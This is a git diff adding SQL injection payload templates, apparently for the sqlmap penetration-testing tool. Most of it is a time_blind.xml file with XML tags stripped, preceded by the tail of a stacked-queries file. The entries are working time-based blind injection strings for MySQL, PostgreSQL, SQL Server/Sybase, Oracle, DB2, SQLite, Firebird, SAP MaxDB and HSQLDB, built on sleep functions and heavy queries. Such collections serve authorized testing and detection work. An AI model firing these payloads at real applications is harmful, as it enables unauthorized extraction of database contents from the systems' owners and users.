+ 2
+ 1-8
+ 1
+ ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE
+
+ ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
+
+
+ [DELAYED]
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ SAP MaxDB stacked queries (heavy query - comment)
+ 4
+ 4
+ 2
+ 1-8
+ 1
+ ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3
+
+ ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3
+ --
+
+
+ [DELAYED]
+
+
+ SAP MaxDB
+
+
+
+
+ SAP MaxDB stacked queries (heavy query)
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3
+
+ ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3
+
+
+ [DELAYED]
+
+
+ SAP MaxDB
+
+
+
+
+ HSQLDB >= 1.7.2 stacked queries (heavy query - comment)
+ 4
+ 4
+ 2
+ 1-8
+ 1
+ ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END
+
+ ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)
+ --
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ HSQLDB >= 1.7.2 stacked queries (heavy query)
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END
+
+ ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ >= 1.7.2
+
+
+
+
+ HSQLDB >= 2.0 stacked queries (heavy query - comment)
+ 4
+ 4
+ 2
+ 1-8
+ 1
+ ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END
+
+ ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+ --
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ >= 2.0
+
+
+
+
+ HSQLDB >= 2.0 stacked queries (heavy query)
+ 4
+ 5
+ 2
+ 1-8
+ 1
+ ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END
+
+ ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
+
+
+ [SLEEPTIME]
+
+
+ HSQLDB
+ >= 2.0
+
+
+
+
+
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
new file mode 100644
index 00000000000..21a50ce4016
--- /dev/null
+++ b/data/xml/payloads/time_blind.xml
@@ -0,0 +1,2174 @@
+
+
+
+
+
+
+
+ MySQL >= 5.0.12 AND time-based blind (query SLEEP)
+ 5
+ 1
+ 1
+ 1,2,3,8,9
+ 1
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 OR time-based blind (query SLEEP)
+ 5
+ 1
+ 3
+ 1,2,3,9
+ 1
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 AND time-based blind (SLEEP)
+ 5
+ 2
+ 1
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ AND SLEEP([SLEEPTIME])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 OR time-based blind (SLEEP)
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ OR SLEEP([SLEEPTIME])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ AND SLEEP([SLEEPTIME])
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+
+ OR SLEEP([SLEEPTIME])
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 1
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL < 5.0.12 AND time-based blind (BENCHMARK)
+ 5
+ 2
+ 2
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+
+
+ [DELAYED]
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ MySQL > 5.0.12 AND time-based blind (heavy query)
+ 5
+ 3
+ 2
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+
+
+ [DELAYED]
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ MySQL < 5.0.12 OR time-based blind (BENCHMARK)
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+
+
+ [DELAYED]
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ MySQL > 5.0.12 OR time-based blind (heavy query)
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+
+
+ [DELAYED]
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+ #
+
+
+ [DELAYED]
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ MySQL > 5.0.12 AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+ #
+
+
+ [DELAYED]
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
+
+ OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
+ #
+
+
+ [DELAYED]
+
+
+ MySQL
+ < 5.0.12
+
+
+
+
+ MySQL > 5.0.12 OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
+ #
+
+
+ [DELAYED]
+
+
+ MySQL
+ > 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 RLIKE time-based blind
+ 5
+ 2
+ 1
+ 1,2,3,9
+ 1
+ RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))
+
+ RLIKE SLEEP([SLEEPTIME])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 RLIKE time-based blind (comment)
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 1
+ RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))
+
+ RLIKE SLEEP([SLEEPTIME])
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)
+ 5
+ 3
+ 1
+ 1,2,3,9
+ 1
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 1
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL AND time-based blind (ELT)
+ 5
+ 3
+ 1
+ 1,2,3,8,9
+ 1
+ AND ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+ >= 5.0.12
+
+
+
+
+ MySQL OR time-based blind (ELT)
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+
+
+
+
+ MySQL AND time-based blind (ELT - comment)
+ 5
+ 5
+ 1
+ 1,2,3,9
+ 1
+ AND ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+
+
+
+
+ MySQL OR time-based blind (ELT - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ #
+
+
+ [SLEEPTIME]
+
+
+ MySQL
+
+
+
+
+ PostgreSQL > 8.1 AND time-based blind
+ 5
+ 1
+ 1
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL > 8.1 OR time-based blind
+ 5
+ 1
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL > 8.1 AND time-based blind (comment)
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+ --
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL > 8.1 OR time-based blind (comment)
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+ --
+
+
+ [SLEEPTIME]
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL AND time-based blind (heavy query)
+ 5
+ 2
+ 2
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+
+
+ [DELAYED]
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL OR time-based blind (heavy query)
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+
+
+ [DELAYED]
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+ --
+
+
+ [DELAYED]
+
+
+ PostgreSQL
+
+
+
+
+ PostgreSQL OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+ --
+
+
+ [DELAYED]
+
+
+ PostgreSQL
+
+
+
+
+ Microsoft SQL Server/Sybase time-based blind (IF)
+ 5
+ 1
+ 1
+ 0
+ 1
+ IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+ WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+
+ [SLEEPTIME]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase time-based blind (IF - comment)
+ 5
+ 4
+ 1
+ 0
+ 1
+ IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
+
+ WAITFOR DELAY '0:0:[SLEEPTIME]'
+ --
+
+
+ [SLEEPTIME]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase AND time-based blind (heavy query)
+ 5
+ 2
+ 2
+ 1,2,3,8,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
+
+
+ [DELAYED]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase OR time-based blind (heavy query)
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
+
+
+ [DELAYED]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
+ --
+
+
+ [DELAYED]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
+ --
+
+
+ [DELAYED]
+
+
+ Microsoft SQL Server
+ Sybase
+
+
+
+
+ Oracle AND time-based blind
+ 5
+ 1
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle OR time-based blind
+ 5
+ 1
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle AND time-based blind (comment)
+ 5
+ 4
+ 1
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+ --
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle OR time-based blind (comment)
+ 5
+ 4
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
+ --
+
+
+ [SLEEPTIME]
+
+
+ Oracle
+
+
+
+
+ Oracle AND time-based blind (heavy query)
+ 5
+ 2
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
+
+
+ [DELAYED]
+
+
+ Oracle
+
+
+
+
+ Oracle OR time-based blind (heavy query)
+ 5
+ 2
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
+
+
+ [DELAYED]
+
+
+ Oracle
+
+
+
+
+ Oracle AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
+ --
+
+
+ [DELAYED]
+
+
+ Oracle
+
+
+
+
+ Oracle OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
+ --
+
+
+ [DELAYED]
+
+
+ Oracle
+
+
+
+
+ IBM DB2 AND time-based blind (heavy query)
+ 5
+ 3
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+
+
+ [DELAYED]
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 OR time-based blind (heavy query)
+ 5
+ 3
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+
+
+ [DELAYED]
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 AND time-based blind (heavy query - comment)
+ 5
+ 5
+ 2
+ 1,2,3,9
+ 1
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+ --
+
+
+ [DELAYED]
+
+
+ IBM DB2
+
+
+
+
+ IBM DB2 OR time-based blind (heavy query - comment)
+ 5
+ 5
+ 3
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+ --
+
+
+ [DELAYED]
+
+
+ IBM DB2
+
+
+
+
+ SQLite > 2.0 AND time-based blind (heavy query)
+ 5
+ 3
+ 2
+ 1,8,9
+ 1
+ AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+
+
+ [DELAYED]
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ SQLite > 2.0 OR time-based blind (heavy query)
+ 5
+ 3
+ 3
+ 1,9
+ 1
+ OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)
+
+ OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
+
+
+ [DELAYED]
+
+
+ SQLite
+ > 2.0
+
+
+
+
